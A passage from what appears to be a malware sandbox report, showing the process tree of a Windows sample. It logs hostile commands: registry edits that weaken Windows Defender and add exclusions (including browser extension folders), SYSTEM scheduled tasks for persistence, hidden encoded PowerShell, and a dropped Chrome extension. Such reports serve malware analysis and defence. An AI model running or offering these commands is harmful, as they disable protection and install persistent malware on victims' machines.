/reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                            2⤵
                            • Drops file in System32 directory
                            • Modifies data under HKEY_USERS
                            PID:1748
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                              3⤵
                                PID:2204
                                • C:\Windows\SysWOW64\reg.exe
                                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                  4⤵
                                    PID:3056
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                  3⤵
                                    PID:248
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                    3⤵
                                      PID:2288
                                    • C:\Windows\SysWOW64\reg.exe
                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                      3⤵
                                        PID:4328
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                        3⤵
                                          PID:4748
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                          3⤵
                                            PID:3724
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                            3⤵
                                              PID:1228
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                              3⤵
                                                PID:1864
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                3⤵
                                                  PID:4044
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                  3⤵
                                                    PID:1816
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                    3⤵
                                                      PID:4324
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                      3⤵
                                                        PID:4852
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                        3⤵
                                                          PID:5008
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                          3⤵
                                                            PID:1716
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                            3⤵
                                                              PID:3764
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                              3⤵
                                                                PID:476
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                3⤵
                                                                  PID:3192
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                  3⤵
                                                                    PID:4608
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                    3⤵
                                                                      PID:2052
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                      3⤵
                                                                        PID:1396
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                        3⤵
                                                                          PID:1424
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                          3⤵
                                                                            PID:3236
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                            3⤵
                                                                              PID:2288
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                              3⤵
                                                                                PID:1340
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                                3⤵
                                                                                  PID:2180
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                                  3⤵
                                                                                    PID:4328
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                    3⤵
                                                                                      PID:1228
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                      3⤵
                                                                                        PID:1864
                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                      powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ARTXeDTAxvUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ARTXeDTAxvUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ByWuwrOBU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ByWuwrOBU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DUGaRsFaSnqjC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DUGaRsFaSnqjC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RVqmAwyyxwiU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RVqmAwyyxwiU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\wGkeBUkfAIhWvVVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\wGkeBUkfAIhWvVVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ofqvFcNvzeRditbz\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ofqvFcNvzeRditbz\" /t REG_DWORD /d 0 /reg:64;"
                                                                                      2⤵
                                                                                      • Drops file in System32 directory
                                                                                      • Modifies data under HKEY_USERS
                                                                                      PID:4116
                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                        3⤵
                                                                                          PID:4044
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ARTXeDTAxvUn" /t REG_DWORD /d 0 /reg:32
                                                                                          3⤵
                                                                                            PID:3132
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ARTXeDTAxvUn" /t REG_DWORD /d 0 /reg:32
                                                                                              4⤵
                                                                                                PID:3368
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ARTXeDTAxvUn" /t REG_DWORD /d 0 /reg:64
                                                                                              3⤵
                                                                                                PID:2768
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ByWuwrOBU" /t REG_DWORD /d 0 /reg:32
                                                                                                3⤵
                                                                                                  PID:5040
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ByWuwrOBU" /t REG_DWORD /d 0 /reg:64
                                                                                                  3⤵
                                                                                                    PID:4884
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DUGaRsFaSnqjC" /t REG_DWORD /d 0 /reg:32
                                                                                                    3⤵
                                                                                                      PID:3156
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DUGaRsFaSnqjC" /t REG_DWORD /d 0 /reg:64
                                                                                                      3⤵
                                                                                                        PID:1152
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RVqmAwyyxwiU2" /t REG_DWORD /d 0 /reg:32
                                                                                                        3⤵
                                                                                                          PID:2956
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RVqmAwyyxwiU2" /t REG_DWORD /d 0 /reg:64
                                                                                                          3⤵
                                                                                                            PID:3880
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR" /t REG_DWORD /d 0 /reg:32
                                                                                                            3⤵
                                                                                                              PID:5016
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR" /t REG_DWORD /d 0 /reg:64
                                                                                                              3⤵
                                                                                                                PID:1380
                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\wGkeBUkfAIhWvVVB /t REG_DWORD /d 0 /reg:32
                                                                                                                3⤵
                                                                                                                  PID:2800
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\wGkeBUkfAIhWvVVB /t REG_DWORD /d 0 /reg:64
                                                                                                                  3⤵
                                                                                                                    PID:968
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                    3⤵
                                                                                                                      PID:3788
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                      3⤵
                                                                                                                        PID:2212
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                        3⤵
                                                                                                                          PID:4592
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                          3⤵
                                                                                                                            PID:1412
                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY /t REG_DWORD /d 0 /reg:32
                                                                                                                            3⤵
                                                                                                                              PID:3192
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY /t REG_DWORD /d 0 /reg:64
                                                                                                                              3⤵
                                                                                                                                PID:4828
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ofqvFcNvzeRditbz /t REG_DWORD /d 0 /reg:32
                                                                                                                                3⤵
                                                                                                                                  PID:3688
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ofqvFcNvzeRditbz /t REG_DWORD /d 0 /reg:64
                                                                                                                                  3⤵
                                                                                                                                    PID:852
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /CREATE /TN "gMcnYgWbv" /SC once /ST 04:16:05 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                  2⤵
                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                  PID:2768
                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                    3⤵
                                                                                                                                      PID:3724
                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                    schtasks /run /I /tn "gMcnYgWbv"
                                                                                                                                    2⤵
                                                                                                                                      PID:1872
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /DELETE /F /TN "gMcnYgWbv"
                                                                                                                                      2⤵
                                                                                                                                        PID:4032
                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                        schtasks /CREATE /TN "BAnwxolbGpCzXNxkj" /SC once /ST 13:59:21 /RU "SYSTEM" /TR "\"C:\Windows\Temp\ofqvFcNvzeRditbz\sCLSBctEBYVgufH\SPYXfri.exe\" XT /rBsite_idGuS 385118 /S" /V1 /F
                                                                                                                                        2⤵
                                                                                                                                        • Drops file in Windows directory
                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                        PID:4796
                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                        schtasks /run /I /tn "BAnwxolbGpCzXNxkj"
                                                                                                                                        2⤵
                                                                                                                                          PID:3504
                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                            3⤵
                                                                                                                                              PID:3764
                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                          1⤵
                                                                                                                                            PID:4796
                                                                                                                                            • C:\Windows\system32\gpupdate.exe
                                                                                                                                              "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                              2⤵
                                                                                                                                                PID:1412
                                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                                              C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                              1⤵
                                                                                                                                                PID:3868
                                                                                                                                              • C:\Windows\system32\gpscript.exe
                                                                                                                                                gpscript.exe /RefreshSystemParam
                                                                                                                                                1⤵
                                                                                                                                                  PID:1624
                                                                                                                                                • C:\Windows\Temp\ofqvFcNvzeRditbz\sCLSBctEBYVgufH\SPYXfri.exe
                                                                                                                                                  C:\Windows\Temp\ofqvFcNvzeRditbz\sCLSBctEBYVgufH\SPYXfri.exe XT /rBsite_idGuS 385118 /S
                                                                                                                                                  1⤵
                                                                                                                                                  • Checks computer location settings
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  • Drops Chrome extension
                                                                                                                                                  • Drops desktop.ini file(s)
                                                                                                                                                  • Drops file in System32 directory
                                                                                                                                                  • Drops file in Program Files directory
                                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                                  PID:1600
                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                    schtasks /DELETE /F /TN "bWycNackLSywaqkmgR"
                                                                                                                                                    2⤵
                                                                                                                                                      PID:4148
                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                      "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
                                                                                                                                                      2⤵
                                                                                                                                                        PID:1368
                                                                                                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                          forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                                                                                          3⤵
                                                                                                                                                            PID:956
                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                              /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                              4⤵
                                                                                                                                                                PID:2128
                                                                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                  powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                  5⤵
                                                                                                                                                                  • Drops file in System32 directory
                                                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                                                  PID:1712
                                                                                                                                                                  • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                    "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                    6⤵
                                                                                                                                                                      PID:3472
                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                              schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\ByWuwrOBU\ojTVpK.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "qbSDwEgyNYPZlGA" /V1 /F
                                                                                                                                                              2⤵
                                                                                                                                                              • Drops file in Windows directory
                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                              PID:3532
                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                              schtasks /CREATE /TN "qbSDwEgyNYPZlGA2" /F /xml "C:\Program Files (x86)\ByWuwrOBU\WnleIRa.xml" /RU "SYSTEM"
                                                                                                                                                              2⤵
                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                              PID:1904
                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                              schtasks /END /TN "qbSDwEgyNYPZlGA"
                                                                                                                                                              2⤵
                                                                                                                                                                PID:3920
                                                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:3368
                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                  schtasks /DELETE /F /TN "qbSDwEgyNYPZlGA"
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:3396
                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                    schtasks /CREATE /TN "yJQYurcljWrTFb" /F /xml "C:\Program Files (x86)\RVqmAwyyxwiU2\LHvjJyj.xml" /RU "SYSTEM"
                                                                                                                                                                    2⤵
                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                    PID:448
                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                    schtasks /CREATE /TN "MrNSpwukvDtlP2" /F /xml "C:\ProgramData\wGkeBUkfAIhWvVVB\DnXqKSf.xml" /RU "SYSTEM"
                                                                                                                                                                    2⤵
                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                    PID:4224
                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                    schtasks /CREATE /TN "qnWLzqfHNJaEQUiUn2" /F /xml "C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR\FaYwZcq.xml" /RU "SYSTEM"
                                                                                                                                                                    2⤵
                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                    PID:4852
                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                    schtasks /CREATE /TN "FBXQMyjqJGqSqkHthaW2" /F /xml "C:\Program Files (x86)\DUGaRsFaSnqjC\OTNmBJT.xml" /RU "SYSTEM"
                                                                                                                                                                    2⤵
                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                    PID:4564
                                                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:4592
                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
